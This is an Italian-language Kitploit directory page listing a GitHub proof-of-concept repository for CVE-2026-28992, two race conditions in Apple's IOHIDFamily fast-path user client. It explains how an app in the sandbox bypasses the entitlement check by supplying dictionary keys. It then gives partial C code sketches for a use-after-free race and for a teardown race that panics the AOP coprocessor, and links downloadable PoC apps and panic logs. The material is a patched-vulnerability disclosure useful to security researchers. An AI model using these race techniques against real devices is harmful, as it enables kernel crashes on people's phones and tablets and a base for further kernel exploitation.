Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions — UAF e panic del coprocessore AOP in IOHIDEventServiceFastPathUserClient. Nessuna entitlement, raggiungibile dalla sandbox delle app. | Kitploit
Strumenti/GitHubGitHub/0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions
Escalation di PrivilegiSicurezza iOSAnalisi delle VulnerabilitàExploitPenetration TestingSicurezza MobileRed TeamingBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions

CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions

UAF e panic del coprocessore AOP in IOHIDEventServiceFastPathUserClient. Nessuna entitlement, raggiungibile dalla sandbox delle app.

Vedi Repository
133351 mese faNon ancora revisionato

CVE-2026-28992: Condizioni di race in IOHIDFamily FastPathUserClient

CVE-2026-28992 | Autore: Johnny Franks (@0xjohnny)

Componente: IOHIDFamily

Impatto: Un attaccante potrebbe causare la terminazione imprevista di un'app

Descrizione: Una vulnerabilità di corruzione della memoria è stata risolta con un miglioramento del locking.

— Apple Security Content, iOS 26.5 e iPadOS 26.5

Entrambi i PoC causano kernel panic e riavvio dei dispositivi interessati. Salvate prima il vostro lavoro.

Due condizioni di race in IOHIDEventServiceFastPathUserClient (kext IOHIDFamily). Nessun entitlement richiesto. Raggiungibile dalla normale sandbox delle app.

Entrambi i vettori usano IOServiceOpen(service, task, 2, &conn). Il gate di apertura sel0 controlla FastPathHasEntitlement e FastPathMotionEventEntitlement nell'OSDictionary fornito dal chiamante invece che nei flag di entitlement memorizzati durante initWithTask; un'app in sandbox supera il gate includendo quelle chiavi nella struct di input.

UAF — race su copyEvent

// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
    IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}

// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
    IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
    IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}

// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
    uint64_t args[2] = { 0, 1 };
    IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}

Il percorso di close (sel1) rilascia lo stato del provider e azzera +0x109 senza lock. copyEvent (sel2) controlla un flag diverso (+0x108) sotto un lock per-connessione, poi chiama il provider. Connessioni multiple verso lo stesso provider fanno sì che close e copyEvent operino in domini di locking diversi su oggetti condivisi lato provider.

Panic AOP — race sulla terminazione

// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
    IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// opener threads: continuous close → reopen
while (!stop) {
    IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
    IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
    // create + gate 16 probe connections
    io_connect_t probes[16];
    for (int i = 0; i < 16; i++) {
        IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
        IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
    }

    // destroy all probes — each fires async didTerminate → teardown
    // teardown removes/frees provider-facing state while opener threads iterate
    // provider-facing state via the open path
    for (int i = 0; i < 16; i++)
        mach_port_destroy(mach_task_self(), probes[i]);

    usleep(80000); // 80ms race window
}

mach_port_destroy attiva in modo asincrono didTerminate → close/teardown, non sincronizzato con i percorsi di apertura sel0 concorrenti su altre connessioni. Questo satura anche la mailbox dei provider basati su SPU, causando il timeout del watchdog AOP.

Contenuti

PercorsoDescrizione
UAFPoc/App iOS — attiva la UAF (MTE tag fault su A17+, data abort su pre-A17)
AOPPanicPoc/App iOS — attiva il panic del coprocessore AOP tramite saturazione della mailbox SPU
panic-logs/mte-tag-fault.ipsKernel tag check fault — iPhone 17 Pro Max (A19 Pro, MTE+PAC)
panic-logs/ipad-data-abort.ipsKernel data abort — iPad Pro 12.9" 2ª gen (A10X, senza MTE/PAC)
panic-logs/aop-panic.ipsPanic del coprocessore AOP — iPhone 17 Pro Max (overflow della mailbox SPU)
Scarica lo strumento